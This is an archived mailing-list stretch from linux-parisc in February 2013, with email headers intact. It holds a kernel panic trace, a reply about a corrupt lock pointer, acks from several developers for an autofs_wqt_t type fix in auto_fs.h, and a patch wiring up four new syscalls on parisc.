[101817.016000]  [<00000000401de934>] kswapd+0x894/0xcf0
[101817.076000]  [<000000004016f758>] kthread+0x168/0x190
[101817.136000]  [<0000000040104020>] end_fault_vector+0x20/0xc0
[101817.208000]  [<00000000401b1828>] handle_irq_event_percpu+0x300/0x360
[101817.284000]  [<00000000401b6ddc>] handle_percpu_irq+0xd4/0xe8
[101817.356000]  [<000000004014ee8c>] irq_exit+0x8c/0x98
[101817.416000]  [<000000004060df14>] skb_free_head+0x64/0x98
[101817.480000]  [<000000004060e0e8>] skb_release_data+0x1a0/0x1b8
[101817.552000]  [<000000004060e26c>] __kfree_skb+0x16c/0x180
[101817.616000]  [<0000000040678158>] tcp_data_queue+0x8e8/0xf80
[101817.684000]
[101817.708000] Kernel panic - not syncing: Kernel Fault


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: kernel panic
Date: Mon, 04 Feb 2013 15:48:39 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <51101EA7.1030809@bell.net>
References: <510F87A6.1060002@sap.com> <51101176.1020704@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1360010892 29770 80.91.229.3 (4 Feb 2013 20:48:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 Feb 2013 20:48:12 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 04 21:48:33 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U2Sxo-0003ld-78
	for glpp-linux-parisc@plane.gmane.org; Mon, 04 Feb 2013 21:48:28 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754014Ab3BDUsJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Feb 2013 15:48:09 -0500
Original-Received: from mail16.primus.ca ([216.254.141.183]:52154 "EHLO
	mail-02.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1754001Ab3BDUsI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Feb 2013 15:48:08 -0500
Original-Received: from 174-138-221-160.cpe.distributel.net ([174.138.221.160] helo=[192.168.0.181])
	by mail-02.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1U2SxT-0003el-2V; Mon, 04 Feb 2013 15:48:07 -0500
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130107 Thunderbird/17.0.2
In-Reply-To: <51101176.1020704@gmx.de>
X-Authenticated: danglin-lux@magma.ca - 174-138-221-160.cpe.distributel.net ([192.168.0.181]) [174.138.221.160]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4802
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4802>

On 2/4/2013 2:52 PM, Helge Deller wrote:
> I found this kernel panic on one of my machines.
> Seems to be signal-related...
There seem to be two issues.  For the second, can you see any reason
why the pointer to the lock would be corrupt (i.e., point to NULL).

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "H. Peter Anvin" <hpa@zytor.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.autofs
Subject: Re: [PATCH] unbreak automounter support on 64-bit kernel with 32-bit
 userspace (v2)
Date: Mon, 04 Feb 2013 13:35:38 -0800
Lines: 17
Approved: news@gmane.org
Message-ID: <511029AA.1060007@zytor.com>
References: <20130204193952.GA5785@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1360013774 25041 80.91.229.3 (4 Feb 2013 21:36:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 4 Feb 2013 21:36:14 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	Ian Kent <raven@themaw.net>, autofs@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 04 22:36:31 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U2TiJ-00060F-94
	for glpp-linux-parisc@plane.gmane.org; Mon, 04 Feb 2013 22:36:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755141Ab3BDVgM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 4 Feb 2013 16:36:12 -0500
Original-Received: from terminus.zytor.com ([198.137.202.10]:39875 "EHLO mail.zytor.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754161Ab3BDVgL (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 4 Feb 2013 16:36:11 -0500
Original-Received: from anacreon.sc.intel.com (jfdmzpr04-ext.jf.intel.com [134.134.137.73])
	(authenticated bits=0)
	by mail.zytor.com (8.14.5/8.14.5) with ESMTP id r14LZhev016672
	(version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO);
	Mon, 4 Feb 2013 13:35:43 -0800
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130110 Thunderbird/17.0.2
In-Reply-To: <20130204193952.GA5785@p100.box>
X-Enigmail-Version: 1.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4803 gmane.linux.kernel:1435519 gmane.linux.kernel.autofs:6476
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4803>

On 02/04/2013 11:39 AM, Helge Deller wrote:
> 
> This suggestion is probably the best way to go, since Arm64 (and maybe others?)
> seems to have a non-working automounter. So in the long run even for other new
> upcoming architectures this inverted check seem to be the best solution, since
> it will not require them to change this #if again (unless they are 64bit only).
> 

... and even then they will generally work just fine.

	-hpa

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ian Kent <raven@themaw.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.autofs
Subject: Re: [PATCH] unbreak automounter support on 64-bit kernel with
 32-bit userspace (v2)
Date: Wed, 06 Feb 2013 13:58:06 +0800
Lines: 72
Approved: news@gmane.org
Message-ID: <1360130286.4186.0.camel@perseus.themaw.net>
References: <20130204193952.GA5785@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1360130302 14727 80.91.229.3 (6 Feb 2013 05:58:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 6 Feb 2013 05:58:22 +0000 (UTC)
Cc: "H. Peter Anvin" <hpa@zytor.com>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	autofs@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 06 06:58:42 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U2y1j-0004cz-Db
	for glpp-linux-parisc@plane.gmane.org; Wed, 06 Feb 2013 06:58:35 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752055Ab3BFF6M (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 6 Feb 2013 00:58:12 -0500
Original-Received: from out5-smtp.messagingengine.com ([66.111.4.29]:51561 "EHLO
	out5-smtp.messagingengine.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752054Ab3BFF6L (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 6 Feb 2013 00:58:11 -0500
Original-Received: from compute2.internal (compute2.nyi.mail.srv.osa [10.202.2.42])
	by gateway1.nyi.mail.srv.osa (Postfix) with ESMTP id 8AFC220FC7;
	Wed,  6 Feb 2013 00:58:10 -0500 (EST)
Original-Received: from frontend2.nyi.mail.srv.osa ([10.202.2.161])
  by compute2.internal (MEProxy); Wed, 06 Feb 2013 00:58:10 -0500
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=themaw.net; h=
	message-id:subject:from:to:cc:date:in-reply-to:references
	:content-type:content-transfer-encoding:mime-version; s=mesmtp;
	 bh=HWwyJbqbReJZKAtoVoo6biTKHXI=; b=PqWbVTy7V8laNDrWXpGt5yvGvZpj
	3xz1IBQJKZiSxWThQ6gpawR4GFx7PK5fDeW7ZCuQxEsgCKw0Ju6RA7Rkc3RimBoR
	KuRE75U5ltnEp5/W/yjXPmyPWwSsA5ZKNca7ShUBDHjFAV74C+yKvv88ZGlkPBBm
	DhLraZHHGflb9+c=
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=
	messagingengine.com; h=message-id:subject:from:to:cc:date
	:in-reply-to:references:content-type:content-transfer-encoding
	:mime-version; s=smtpout; bh=HWwyJbqbReJZKAtoVoo6biTKHXI=; b=cGJ
	fZatRVcshvmh/5lCHXvVKA78gMuRdB3G9fshxMJTz6WNB89kc6t9JoLbKNkuQHbo
	JND9gY95ArFQGNjZhMz96qksERB7r/nQMtvVb2HAJShjqzlj8VjG0upAhzpLVObM
	r1Tr7JGG8UBsAuL3zKhjkxZrOyiU7A4Szw5eOiT8=
X-Sasl-enc: gVnY92LhrDGopu+D9D+rJgZF3iMbXl4myNmDwltfXsJK 1360130289
Original-Received: from perseus.themaw.net (unknown [124.171.252.171])
	by mail.messagingengine.com (Postfix) with ESMTPA id D31D4482933;
	Wed,  6 Feb 2013 00:58:09 -0500 (EST)
Original-Received: from [127.0.0.1] (localhost [127.0.0.1])
	by perseus.themaw.net (Postfix) with ESMTP id D5BDEE05AD;
	Wed,  6 Feb 2013 13:58:06 +0800 (WST)
In-Reply-To: <20130204193952.GA5785@p100.box>
X-Mailer: Evolution 3.2.3 (3.2.3-3.fc16) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4804 gmane.linux.kernel:1436606 gmane.linux.kernel.autofs:6477
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4804>

On Mon, 2013-02-04 at 20:39 +0100, Helge Deller wrote:
> automount-support is broken on the parisc architecture, because the existing
> #if list does not include a check for defined(__hppa__). The HPPA (parisc)
> architecture is similiar to other 64bit Linux targets where we have to define
> autofs_wqt_t (which is passed back and forth to user space) as int type which
> has a size of 32bit across 32 and 64bit kernels.
> 
> During the discussion on the mailing list, H. Peter Anvin suggested to invert
> the #if list since only specific platforms (specifically those who do not have
> a 32bit userspace, like IA64 and Alpha) should have autofs_wqt_t as unsigned
> long type.
> 
> This suggestion is probably the best way to go, since Arm64 (and maybe others?)
> seems to have a non-working automounter. So in the long run even for other new
> upcoming architectures this inverted check seem to be the best solution, since
> it will not require them to change this #if again (unless they are 64bit only).
> 
> Signed-off-by: Helge Deller <deller@gmx.de>
> CC: James Bottomley <James.Bottomley@HansenPartnership.com>
> CC: Catalin Marinas <catalin.marinas@arm.com>
> CC: Rolf Eike Beer <eike-kernel@sf-tec.de>
> CC: H. Peter Anvin <hpa@zytor.com>
> CC: Ian Kent <raven@themaw.net>
> 
> 
> diff --git a/include/uapi/linux/auto_fs.h b/include/uapi/linux/auto_fs.h
> index 77cdba9..bb991df 100644
> --- a/include/uapi/linux/auto_fs.h
> +++ b/include/uapi/linux/auto_fs.h
> @@ -28,25 +28,16 @@
>  #define AUTOFS_MIN_PROTO_VERSION	AUTOFS_PROTO_VERSION
>  
>  /*
> - * Architectures where both 32- and 64-bit binaries can be executed
> - * on 64-bit kernels need this.  This keeps the structure format
> - * uniform, and makes sure the wait_queue_token isn't too big to be
> - * passed back down to the kernel.
> - *
> - * This assumes that on these architectures:
> - * mode     32 bit    64 bit
> - * -------------------------
> - * int      32 bit    32 bit
> - * long     32 bit    64 bit
> - *
> - * If so, 32-bit user-space code should be backwards compatible.
> + * The wait_queue_token (autofs_wqt_t) is part of a structure which is passed
> + * back to the kernel via ioctl from userspace. On architectures where 32- and
> + * 64-bit userspace binaries can be executed it's important that the size of
> + * autofs_wqt_t stays constant between 32- and 64-bit Linux kernels so that we
> + * do not break the binary ABI interface by changing the structure size.
>   */
> -
> -#if defined(__sparc__) || defined(__mips__) || defined(__x86_64__) \
> - || defined(__powerpc__) || defined(__s390__)
> -typedef unsigned int autofs_wqt_t;
> -#else
> +#if defined(__ia64__) || defined(__alpha__) /* pure 64bit architectures */
>  typedef unsigned long autofs_wqt_t;
> +#else
> +typedef unsigned int autofs_wqt_t;
>  #endif
>  
>  /* Packet types */

Acked-by: Ian Kent <raven@themaw.net>


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "H. Peter Anvin" <hpa@zytor.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.autofs
Subject: Re: [PATCH] unbreak automounter support on 64-bit kernel with 32-bit
 userspace (v2)
Date: Wed, 06 Feb 2013 09:08:15 -0800
Lines: 58
Approved: news@gmane.org
Message-ID: <51128DFF.1090904@zytor.com>
References: <20130204193952.GA5785@p100.box> <1360130286.4186.0.camel@perseus.themaw.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1360170543 4483 80.91.229.3 (6 Feb 2013 17:09:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 6 Feb 2013 17:09:03 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	autofs@vger.kernel.org
To: Ian Kent <raven@themaw.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 06 18:09:22 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U38Ur-00056i-W1
	for glpp-linux-parisc@plane.gmane.org; Wed, 06 Feb 2013 18:09:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752093Ab3BFRJD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 6 Feb 2013 12:09:03 -0500
Original-Received: from terminus.zytor.com ([198.137.202.10]:33990 "EHLO mail.zytor.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752024Ab3BFRJB (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 6 Feb 2013 12:09:01 -0500
Original-Received: from tazenda.hos.anvin.org ([IPv6:2601:9:3300:a0:e269:95ff:fe35:9f3c])
	(authenticated bits=0)
	by mail.zytor.com (8.14.5/8.14.5) with ESMTP id r16H8LEk024793
	(version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO);
	Wed, 6 Feb 2013 09:08:22 -0800
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130110 Thunderbird/17.0.2
In-Reply-To: <1360130286.4186.0.camel@perseus.themaw.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4805 gmane.linux.kernel:1437002 gmane.linux.kernel.autofs:6478
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4805>

On 02/05/2013 09:58 PM, Ian Kent wrote:
>>
>> diff --git a/include/uapi/linux/auto_fs.h b/include/uapi/linux/auto_fs.h
>> index 77cdba9..bb991df 100644
>> --- a/include/uapi/linux/auto_fs.h
>> +++ b/include/uapi/linux/auto_fs.h
>> @@ -28,25 +28,16 @@
>>   #define AUTOFS_MIN_PROTO_VERSION	AUTOFS_PROTO_VERSION
>>
>>   /*
>> - * Architectures where both 32- and 64-bit binaries can be executed
>> - * on 64-bit kernels need this.  This keeps the structure format
>> - * uniform, and makes sure the wait_queue_token isn't too big to be
>> - * passed back down to the kernel.
>> - *
>> - * This assumes that on these architectures:
>> - * mode     32 bit    64 bit
>> - * -------------------------
>> - * int      32 bit    32 bit
>> - * long     32 bit    64 bit
>> - *
>> - * If so, 32-bit user-space code should be backwards compatible.
>> + * The wait_queue_token (autofs_wqt_t) is part of a structure which is passed
>> + * back to the kernel via ioctl from userspace. On architectures where 32- and
>> + * 64-bit userspace binaries can be executed it's important that the size of
>> + * autofs_wqt_t stays constant between 32- and 64-bit Linux kernels so that we
>> + * do not break the binary ABI interface by changing the structure size.
>>    */
>> -
>> -#if defined(__sparc__) || defined(__mips__) || defined(__x86_64__) \
>> - || defined(__powerpc__) || defined(__s390__)
>> -typedef unsigned int autofs_wqt_t;
>> -#else
>> +#if defined(__ia64__) || defined(__alpha__) /* pure 64bit architectures */
>>   typedef unsigned long autofs_wqt_t;
>> +#else
>> +typedef unsigned int autofs_wqt_t;
>>   #endif
>>
>>   /* Packet types */
>
> Acked-by: Ian Kent <raven@themaw.net>
>

Acked-by: H. Peter Anvin <hpa@zytor.com>

	-hpa


-- 
H. Peter Anvin, Intel Open Source Technology Center
I work for Intel.  I don't speak on their behalf.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Catalin Marinas <catalin.marinas@arm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.autofs
Subject: Re: [PATCH] unbreak automounter support on 64-bit kernel with
 32-bit userspace (v2)
Date: Wed, 6 Feb 2013 17:21:20 +0000
Lines: 30
Approved: news@gmane.org
Message-ID: <20130206172120.GJ26454@arm.com>
References: <510AE21D.2090002@zytor.com>
 <20130204193952.GA5785@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1360171310 13121 80.91.229.3 (6 Feb 2013 17:21:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 6 Feb 2013 17:21:50 +0000 (UTC)
Cc: "H. Peter Anvin" <hpa@zytor.com>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	Ian Kent <raven@themaw.net>,
	"autofs@vger.kernel.org" <autofs@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 06 18:22:09 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U38hB-0007bT-Pd
	for glpp-linux-parisc@plane.gmane.org; Wed, 06 Feb 2013 18:22:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757192Ab3BFRVq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 6 Feb 2013 12:21:46 -0500
Original-Received: from fw-tnat.cambridge.arm.com ([217.140.96.21]:58547 "EHLO
	cam-smtp0.cambridge.arm.com" rhost-flags-OK-OK-OK-FAIL)
	by vger.kernel.org with ESMTP id S1756394Ab3BFRVp (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 6 Feb 2013 12:21:45 -0500
Original-Received: from arm.com (e102109-lin.cambridge.arm.com [10.1.69.68])
	by cam-smtp0.cambridge.arm.com (8.13.8/8.13.8) with ESMTP id r16HLNHJ002550;
	Wed, 6 Feb 2013 17:21:23 GMT
Content-Disposition: inline
In-Reply-To: <20130204193952.GA5785@p100.box>
User-Agent: Mutt/1.5.20 (2009-06-14)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4806 gmane.linux.kernel:1437012 gmane.linux.kernel.autofs:6479
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4806>

On Mon, Feb 04, 2013 at 07:39:52PM +0000, Helge Deller wrote:
> automount-support is broken on the parisc architecture, because the existing
> #if list does not include a check for defined(__hppa__). The HPPA (parisc)
> architecture is similiar to other 64bit Linux targets where we have to define
> autofs_wqt_t (which is passed back and forth to user space) as int type which
> has a size of 32bit across 32 and 64bit kernels.
> 
> During the discussion on the mailing list, H. Peter Anvin suggested to invert
> the #if list since only specific platforms (specifically those who do not have
> a 32bit userspace, like IA64 and Alpha) should have autofs_wqt_t as unsigned
> long type.
> 
> This suggestion is probably the best way to go, since Arm64 (and maybe others?)
> seems to have a non-working automounter. So in the long run even for other new
> upcoming architectures this inverted check seem to be the best solution, since
> it will not require them to change this #if again (unless they are 64bit only).
> 
> Signed-off-by: Helge Deller <deller@gmx.de>
> CC: James Bottomley <James.Bottomley@HansenPartnership.com>
> CC: Catalin Marinas <catalin.marinas@arm.com>
> CC: Rolf Eike Beer <eike-kernel@sf-tec.de>
> CC: H. Peter Anvin <hpa@zytor.com>
> CC: Ian Kent <raven@themaw.net>

Acked-by: Catalin Marinas <catalin.marinas@arm.com>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: wire up process_vm_readv, process_vm_writev, kcmp
 and finit_module syscalls
Date: Fri, 8 Feb 2013 21:08:25 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <20130208200825.GA5329@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1360354112 29935 80.91.229.3 (8 Feb 2013 20:08:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Feb 2013 20:08:32 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 08 21:08:53 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U3uFf-0008Ni-Rr
	for glpp-linux-parisc@plane.gmane.org; Fri, 08 Feb 2013 21:08:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932102Ab3BHUIc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Feb 2013 15:08:32 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:51643 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932068Ab3BHUIc (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Feb 2013 15:08:32 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.19]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0MdIS5-1ULhyn1K43-00IR55 for
 <linux-parisc@vger.kernel.org>; Fri, 08 Feb 2013 21:08:30 +0100
Original-Received: (qmail invoked by alias); 08 Feb 2013 20:08:30 -0000
Original-Received: from p54AD1447.dip0.t-ipconnect.de (EHLO p100.box) [84.173.20.71]
  by mail.gmx.net (mp019) with SMTP; 08 Feb 2013 21:08:30 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19l9459tTJlN0Qt2HhfI0+bdUCS3bdkwDyXYgzf4l
	dXkFIaLwmO4siv
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4807
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4807>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/uapi/asm/unistd.h b/arch/parisc/include/uapi/asm/unistd.h
index e178f30..2c8b9bd 100644
--- a/arch/parisc/include/uapi/asm/unistd.h
+++ b/arch/parisc/include/uapi/asm/unistd.h
@@ -822,8 +822,12 @@
 #define __NR_syncfs		(__NR_Linux + 327)
 #define __NR_setns		(__NR_Linux + 328)
 #define __NR_sendmmsg		(__NR_Linux + 329)
+#define __NR_process_vm_readv	(__NR_Linux + 330)
+#define __NR_process_vm_writev	(__NR_Linux + 331)
+#define __NR_kcmp		(__NR_Linux + 332)
+#define __NR_finit_module	(__NR_Linux + 333)
 
-#define __NR_Linux_syscalls	(__NR_sendmmsg + 1)
+#define __NR_Linux_syscalls	(__NR_finit_module + 1)
 
 
 #define __IGNORE_select		/* newselect */
diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index 54d950b..cf7094c 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -428,6 +428,10 @@
 	ENTRY_SAME(syncfs)
 	ENTRY_SAME(setns)
 	ENTRY_COMP(sendmmsg)
+	ENTRY_COMP(process_vm_readv)	/* 330 */
+	ENTRY_COMP(process_vm_writev)
+	ENTRY_SAME(kcmp)
+	ENTRY_SAME(finit_module)
 
 	/* Nothing yet */
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:56 2018
